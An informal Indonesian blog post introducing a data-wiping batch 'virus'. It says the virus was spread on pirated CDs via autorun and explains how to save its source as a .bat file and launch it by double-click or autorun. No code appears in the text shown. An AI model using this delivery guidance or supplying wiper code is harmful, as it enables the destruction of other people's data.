mungkin anda sudah tidak kaget dengan source virus yang satu ini,salah satu virus yang sangat membahayakan bagi komputer anda.
source virus ini biasa digunakan atau dipasang oleh pihak2 yang kejam,pernah saya utarakan virus ini pernah dipasang di suatu cd bajakan dan diberi autorun,jadi ketika kita memasukan cd tersebut kedalam komputer/laptop anda otomatis virus ini berjalan jika autorun anda tidak dinonaktifkan.dan hanya selang beberapa detik saja smua data hardiskmu akan lenyap seperti hardisk kosong yang baru anda beli.jika file ini dipasang para pembuat virus yg kejam wah..berbahaya juga yah,sedangkan kita hanya terkena virus2 perusak dan pengopy data kita ajah dah kesusahan..yah begitulah kita harus jeli sendiri dalam melihat data dari luar.
oke ini suatu contoh aja bukan bermaksud menyebarkan atau yg lain.
setidaknya bisa menjadi pengetahuan bagi anda,tentunya yang belum tau aja bagi yang sudah master g usah dibaca dech.
file ini saorce mentah yang bisa anda simpan dinotepad .txt
jika mungkin anda ingin mencobanya dikomputer anda sendiri mungkin notepad itu bisa anda rubah menjadi file .bat.
contoh virus.bat <–cara berjalanya hanya anda klik aja file bat itu 2x atau juga bisa dibuat file autorun .saya sarankan jangan mencoba2 untuk bermain2 dengan virus 1 ini,kasian ama yg banyak data2 pentingnya.bisa nangis2 dech kehilangan data2 dalam beberapa detik.oke salam damai ya hehehe… <————————–>
